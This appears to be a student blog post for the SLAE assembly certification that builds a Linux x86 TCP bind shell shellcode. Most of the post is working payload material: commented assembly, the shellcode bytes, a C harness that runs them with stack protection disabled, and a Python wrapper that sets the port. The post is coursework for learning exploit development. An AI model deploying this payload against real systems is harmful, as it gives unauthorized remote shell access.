This is the first of a series of seven posts about the SLAE certification. If you are not familiar with it, please visit this page The first assignment asks to develop, comment and optimise a TCP bind shell code Requirements:

  • Binds to a local port
  • Execs shell upon an incoming connection
  • Easily supply port number (via wrapper)

As a starting point I have deliberately took inspiration from C code at RCE Security (I suggest to read the full post, which is extremely detailed and goes through each and every system call/function call conversion.). Also,you can find here a reference of all linux system calls, which comes to aid when converting a C program into IA32.

Let’s start with the full commented shellcode

global _start

section .text
_start:

;
; int socketcall(int call, unsigned long *args);
; sockfd = socket(int socket_family, int socket_type, int protocol);
;
push 0x66
pop eax   ;syscall: sys_socketcall + cleanup eax register
push 0x1 ;function call 0x01 for above syscall
pop ebx ;sys_socket (0x1) + cleanup ebx register
xor esi, esi ;cleanup esi register
push esi ;protocol=IPPROTO_IP (0x0)
push ebx ;socket_type=SOCK_STREAM (0x1) still holgind 0x1
push 0x2 ;socket_family=AF_INET (IPv4 address family)
mov ecx, esp ;save pointer (ESP) to socket() args (ECX)
int 0x80 ;exec SYS_SOCKET

; int socketcall(int call, unsigned long *args);
; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
;
pop edi ; pop 0x2 to edi
xchg edi, eax; save eax result 0x2 (sockfd) for later usage in EDI
xchg ebx, eax ;sys_bind (0x2)
mov al, 0x66 ;syscall: sys_socketcall
push esi         ;sin_addr=0 (INADDR_ANY)
push word 0x3905 ;sin_port=1337 (network byte order)
push word bx     ;sin_family=AF_INET (0x2)
mov ecx, esp     ;save pointer to sockaddr_in struct
push 0x10 ;addrlen=16
push ecx  ;struct sockaddr pointer (from previous ESI)
push edi  ;sockfd 0x02
mov ecx, esp ;save pointer to bind() args
int 0x80 ;exec SYS_BIN

; int socketcall(int call, unsigned long *args);
; int listen(int sockfd, int backlog);
;
mov al, 0x66 ;syscall 102 (sys_socketcall)
mov bl, 0x4  ;sys_listen
push esi ;backlog=0
push edi ;sockfd
mov ecx, esp ;save pointer to listen() args
int 0x80 ;exec SYS_LISTEN

; int socketcall(int call, unsigned long *args);
; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen)
;
mov al, 0x66 ;syscall: sys_socketcall
inc ebx      ;sys_accept (0x5)
push esi ;addrlen=0
push esi ;addr=0
push edi ;sockfd
mov ecx, esp ;save pointer to accept() args
int 0x80 ;exec sys_accept
pop ecx ;dummy-pop to get to the next 0x0
pop ecx ;make sure that ecx contains 0x0 to get the next mov working (sockfd might be greater that 0xFF)
mov cl, 0x2 ;initiate counter
xchg ebx,eax ;save clientfd

; loop through three sys_dup2 calls to redirect stdin(0), stdout(1) and stderr(2)
loop:
    mov al, 0x3f ;syscall: sys_dup2
    int 0x80     ;exec sys_dup2
    dec ecx      ;decrement loop-counter
    jns loop     ;as long as SF is not set -> jmp to loop

; int execve(const char *filename, char *const argv[],char *const envp[]);
mov al, 0x0b ;syscall: sys_execve

; terminating NULL is already on the stack
push 0x68732f2f    ;"hs//"
push 0x6e69622f    ;"nib/"
inc ecx      ;argv=0, ecx is 0xffffffff (+SF is set)
mov edx, ecx ;make sure edx contains 0
mov ebx, esp ;save pointer to filename
int 0x80 ; exec sys_execve

Next, it’s time to extract the shellcode using our friend commandlinefu

#objdump -d ./bind_shell_tcp|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89\xe1\xcd\x80\x5f\x97\x93\xb0\x66\x56\x66\x68\x05\x39\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x56\x57\x89\xe1\xcd\x80\xb0\x66\x43\x56\x56\x57\x89\xe1\xcd\x80\x59\x59\xb1\x02\x93\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x41\x89\xca\x89\xe3\xcd\x80"
We check there is no null-byte presence which can break program execution and, if so, we can happily pasted into the C shellcode generator template:

#include<stdio.h>

unsigned char shellcode[] = \
"\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89\xe1\xcd\x80\x5f\x97\x93\xb0\x66\x56\x66\x68\x05\x39\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x56\x57\x89\xe1\xcd\x80\xb0\x66\x43\x56\x56\x57\x89\xe1\xcd\x80\x59\x59\xb1\x02\x93\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x41\x89\xca\xcd\x80";

main()
{
    printf("Shellcode Length:  %d\n", sizeof(shellcode) - 1);
    int (*ret)() = (int(*)())shellcode;
    ret();

}
and compile with:
gcc shellcode.c -o linux_x86_shell_bind_tcp -fno-stack-protector -z execstack -m32

To fulfill the last point of the assignment, I have simplified the python wrapper which is responsible to insert user-supplied port into the shellcode, and added a shellcode length check.

import sys


total = len(sys.argv)
if total != 2:
    print "[+] Usage %s <tcp bind port>" % sys.argv[0]
    sys.exit()

else:
    try:
    	port = int(sys.argv[1])
    	if port > 65535:
    		print "Cannot bind a port greater than 65535!"
    		sys.exit()
    	if port < 1024:
    		print "Port is smaller than 1024! Need to be root for that"
    		sys.exit()		
        # convert integer argv port to hex and stuff with leading zeroes if port hex length is < 4
    	hexport = hex(port)[2:].zfill(4)
    	print "\nPort hex value: \t\t" + hexport

        # split hexport in two parts to check for null byte
    	b1 = hexport[0:2]
    	b2 = hexport[2:4]

    	if b1 == "00" or b2 == "00":
    		print "Port contains \\x00!"
    		exit()

        # add leading zero if nibble-only value
    	if len(b1) < 2:
    		b1="\\x0" + b1
    	if len(b1) == 2:
    		b1="\\x" + b1
    	if len(b2) < 2:
    		b2="\\x0" + b2
    	if len(b2) == 2:
    		b2="\\x" + b2

    	shellport=b1+b2

    	print "\nShellcode-ready port:\t\t" + shellport

    	shellcode = bytearray("\\x6a\\x66\\x58\\x6a\\x01\\x5b\\x31\\xf6"+
    	"\\x56\\x53\\x6a\\x02\\x89\\xe1\\xcd\\x80"+
    	"\\x5f\\x97\\x93\\xb0\\x66\\x56\\x66\\x68"+
    	shellport+"\\x66\\x53\\x89\\xe1\\x6a\\x10"+
    	"\\x51\\x57\\x89\\xe1\\xcd\\x80\\xb0\\x66"+
    	"\\xb3\\x04\\x56\\x57\\x89\\xe1\\xcd\\x80"+
    	"\\xb0\\x66\\x43\\x56\\x56\\x57\\x89\\xe1"+
    	"\\xcd\\x80\\x59\\x59\\xb1\\x02\\x93\\xb0"+
    	"\\x3f\\xcd\\x80\\x49\\x79\\xf9\\xb0\\x0b"+
    	"\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62"+
    	"\\x69\\x6e\\x89\\xe3\\x41\\x89\\xca\\xcd"+
    	"\\x80")

    	print "\nFinal shellcode:\n" + "\"" + shellcode + "\""
        print "\nShellocde length is:\t\t" + str(len(shellcode)/4) + "\n"
    except:
        print "Something went wrong - exiting..."

My assignment code can be found here: here

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/ Student ID: PA-5837